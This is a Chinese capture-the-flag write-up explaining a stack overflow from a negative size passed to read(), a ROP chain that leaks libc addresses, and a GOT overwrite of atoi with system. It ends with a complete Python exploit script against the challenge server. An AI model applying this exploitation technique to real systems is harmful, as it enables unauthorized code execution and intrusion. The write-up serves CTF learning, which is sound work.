这道题可利用的点还蛮多的。常规的方式是利用堆释放的时候没有删除堆指针导致UAF来完成攻击。我使用的是另一个不同的点,具体如下。(第一次做pwn,可能有些错误的地方,望指正)
该程序对输入的编号都通过itoa函数进行转换,将字符串转为数字,具体实现在sub_4005cc函数中。
同样,用于创建堆块的“Create Exploit”选项中也调用了该函数,主要是将输入的堆大小(Input size)和堆序号(Input cun)转换为数字。
当输入一个size时,这个size将作为用于限定输入内容长度的值传递到如下图的位置。
图中的nbytes就是输入的size。这里就存在一个问题,由于sub_4005cc函数并未对输入的size做限制,如果输入一个负值,那么传递一个负的size给read函数。而其实read函数的第三个参数接收到的是个int类型的值(忽略ida将它强转为unsigned int,其实它是个int值),如果输入的size是个负值,那么到达read时size将变为一个很大的值。这个函数为接收read内容的buf分配了0x80的大小,当size很大时将会导致栈溢出。而由于read的特性,当read函数接收到EOF时将终止接收,不管是不是达到size规定的大小,因此我们可以完全控制写入buf中数据的长度,使用栈溢出覆盖返回地址或覆盖其他变量的形式完成攻击。攻击份两步走,第一步是信息泄露,第二步是getshell。
1.信息泄露
要想getshell就必须拿到system函数的地址,因此需要通过一些方法泄露出该函数的地址。可惜,这个程序“show exploit”功能被阉割了,只输出“no no no”,因此需要自己想办法调用puts函数输出GOT表中某个函数的地址,然后根据偏移计算system函数的地址。之前提到我们可以实现栈溢出,因此可以修改返回地址,使执行流程转到“show expliot”中的puts函数处,并传递我们需要泄露的函数对应的GOT表位置,进行信息泄露。
由于程序开了nx保护,因此需要构造ROP链。从代码中我们发现,puts函数所接收的参数是存放在rdi寄存器中的。
那么ROP链的流程应该是:将需要泄露的函的GOT表位置传递至rdi寄存器-->调用0x400c4d的puts函数-->返回主流程。首先需要找“pop rdi,ret”的地址,发现0x400da3位置处指令为“pop rdi,ret”,可利用。下一步找要泄露的函数的GOT表地址,我使用的是atoi函数,GOT表位置如下。
然后就是构造ROP,ROP链如下:
0x400da3(“pop rdi,ret”的地址)
0x602058(atoi函数GOT表地址)
0x400c4d(调用puts函数地址)
0(puts函数后有pop指令,这里用0占位保证栈平衡)
0x400c8c(主函数地址)
那么读入buf的内容就是
2*'b'+126*'a'+l64(0x602058)+l32(0x1)+l32(0x0)+l64(0x0)+l64(0x400da3)+l64(0x602058)+l64(0x400c4d)+l64(0x0)+l64(0x400c8c)
前面那些内容为了占位凑长度,使写入长度超过112,函数流程进入read到buf的流程,并且写入的内容超过buf的大小导致溢出。这些内容里面有些是为了保证局部变量不被破坏设定的,之后会提到。
这样就可以调用puts函数,并将atoi函数的GOT表地址传递给他作为参数,泄露出atoi函数在libc中的地址。
之后通过相应的偏移加减,就能得到system函数在libc中的地址。
2.getshell
我们在第一步已经获取system的地址了,这时候可以使用该地址替换GOT表中某个函数的地址,然后调用那个函数就等于调用了sytem函数。这里需要一个任意地址写的漏洞。
还是用的和第一步同样的地方,从上面贴出的代码截图可以看到,read函数后面跟随着memcpy函数,是将buf读到的内容传递给申请的堆中。我们看一下这段代码所在函数的局部变量分布。
不难发现,buf下方的局部变量分别为堆的地址dest,堆的编号v3,写入堆的内容长度nbtes。同样使用溢出buf的方法,可以控制dest,v3和nbytes。而dest和nbytes又是read下方memcpy函数的参数。
如此一来就可以往任意地址写任意长度的内容。我们将dest覆盖为atoi函数的GOT表地址,nbytes覆盖为8(system地址的长度),往buf的前八位写入system的地址,通过memcpy函数就可将stoi函数的地址替换为system函数的地址。写入buf的内容如下。
p64(system_addr)+120*'a'+p64(0x602058)+p32(0x2)+p32(0x8)
我们前面进行信息泄露的时候在写入buf的内容中的一些特定位置用了一些特殊的值,就是为了防止溢出时更改了memcpy的参数,导致出现异常。而这里恰恰相反,通过覆盖memcpy的参数进行任意地址写。
如此一来GOT表中atoi函数的地址就变为了system函数的地址,之后随便调用任何一处有调用atoi函数的地方(我使用的是主函数)就能getshell。
完整的python利用代码如下。(第一次搞pwn,pwntools和zio混用略尴尬,凑合看吧)
from zio import *
from pwn import *
import binascii
io=zio(('211.159.216.90',51888),timeout=100000)
#io.gdb_hint()
#io.read_until('break')
sc='1'
sc0='-100'
sc1=2*'b'+126*'a'+l64(0x602058)+l32(0x1)+l32(0x0)+l64(0x0)+l64(0x400da3)+l64(0x602058)+l64(0x400c4d)+l64(0x0)+l64(0x400c8c)
#sc1=l64(0x4006d0)+120*'a'+l64(0x602018)+l32(0x1)+l32(0x8)
io.read_until('$')
io.writeline(sc)
io.read_until('$')
io.writeline(sc)
io.read_until('\n')
io.writeline(sc0)
io.read_until('\n')
io.writeline(sc)
io.read_until('\n')
#io.gdb_hint()
io.writeline(sc1)
atoi_addr=u64(io.read(6)+2*'\x00')
libc_base=atoi_addr-0x36740
print hex(libc_base)
system_addr=libc_base+0x41fd0
sc2=p64(system_addr)+120*'a'+p64(0x602058)+p32(0x2)+p32(0x8)
payload='cat flag\0'
io.read_until('$')
io.writeline(sc)
io.read_until('$')
io.writeline(sc)
io.read_until('\n')
io.writeline(sc0)
io.read_until('\n')
io.writeline('2')
io.read_until('\n')
io.writeline(sc2)
io.read_until('$')
#io.gdb_hint()
io.write(payload)
io.readline()
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。